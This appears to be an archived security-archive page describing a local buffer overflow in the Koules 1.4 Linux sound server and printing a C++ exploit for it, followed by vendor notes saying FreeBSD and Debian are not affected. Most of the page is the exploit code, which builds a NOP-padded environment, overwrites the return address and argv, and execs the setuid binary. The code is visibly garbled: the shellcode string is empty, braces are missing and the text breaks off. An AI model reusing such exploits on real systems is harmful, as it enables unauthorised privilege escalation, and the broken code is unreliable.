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TUCoPS :: Linux :: Apps A-M :: koules.htm

Koules exploit





    Guido Bakker  found following.   The problem  can be  found in the
    Koules1.4 package, code file:

        koules.sndsrv.linux.c - function: init()

    The `int i`  disappears in the  optimization gcc does.   Since the
    strcat() function concatenates an array of filenames, `argv`  gets
    ruined.  This will  cause the first run  of the loop to  fail.  If
    argv point somewhere into adressable memory space, the chances  of
    having  a  second  pointer  in  there  are close to zero, thus the
    second loop will fail.

    Last of  all, if  the argv[1]  does point  to a  valid address the
    string contained there shouldn't  be long enough to  overwrite eip
    a second time, since that gets us into trouble.  That's about  it.
    Even then, this ONLY works on machines that have compiled  SVGALIB
    support in and NOT on the X windows version of 'koules'.

       Coolz.cpp - yep a C Plus Plus exploit, I like that Strings STL :)

       Love goes out to: Hester and Maja
       Shouts go out to: Aad de Bruin, Karel Roos, L.G. Weert, Louis Maatman,
                         Richard Vriesde.
                 --  We always did feel the same, we just saw it from a
                      different point of view...
                          [Bob Dylan - Tangled up in Blue]

       -- Scrippie/

    /* (c) 2000 */

    #include <cstdio>
    #include <string>
    #include <cstdlib>
    #include <unistd.h>

    #define FILENAME "/usr/local/lib/koules/koules.sndsrv.linux"

    #define NOP	'A'
    #define NUMNOPS	500
    #define RETADDY	"\x90\xfe\xff\xbf"
    /* Since we return in the cleared environment, we don't need to have a
       return address we can influence by command line "offset" arguments */

    string heavenlycode =

    char *addytostr(unsigned char *);

    using namespace std;

       string payload, vector;
       unsigned int i;
       const char *env[3];
       const char *ptr_to_bffffffc;

       /* Construction of our payload */
       payload.append(NUMNOPS, NOP);

       env[0] = payload.c_str();
       /* This memory address always contains 0x00000000 */
       env[1] = "\xfc\xff\xff\xbf";
       env[2] = NULL;

       /* Calculate for yourself, and check out: linux/fs/exec.c */
       ptr_to_bffffffc =
            addytostr((unsigned char *)(0xc0000000-sizeof(void *)-sizeof(FILENAME)
                                        -sizeof(heavenlycode)-sizeof(char *)-1));

       for(i=0;i<256;i++) {
          vector.append(RETADDY);		/* Fill the buffer */
       /* We do NOT overwrite 'int i' - a register is used after gcc -O */
       vector.append(RETADDY);		/* Overwrites ebp */
       vector.append(RETADDY);		/* Overwrites eip */
       vector.append(ptr_to_bffffffc);	/* Overwrites argv argument */

       execle(FILENAME, "Segmentation fault (core dumped)", vector.c_str(), "A",
              NULL, env);


    char *addytostr(unsigned char *blaat)
       char *ret;

       if(!(ret = (char *)malloc(sizeof(unsigned char *)+1))) {
       memcpy(ret, &blaat, sizeof(unsigned char *));
       ret[sizeof(unsigned char *)] = 0x00;



    The  FreeBSD  xkoules  port  doesnt  install  anything  setuid  or
    setgid..therefore not vulnerable.  Debian does not ship koules  or
    parts  of  it  setuid  root  and  thus  is  not vulnerable to this

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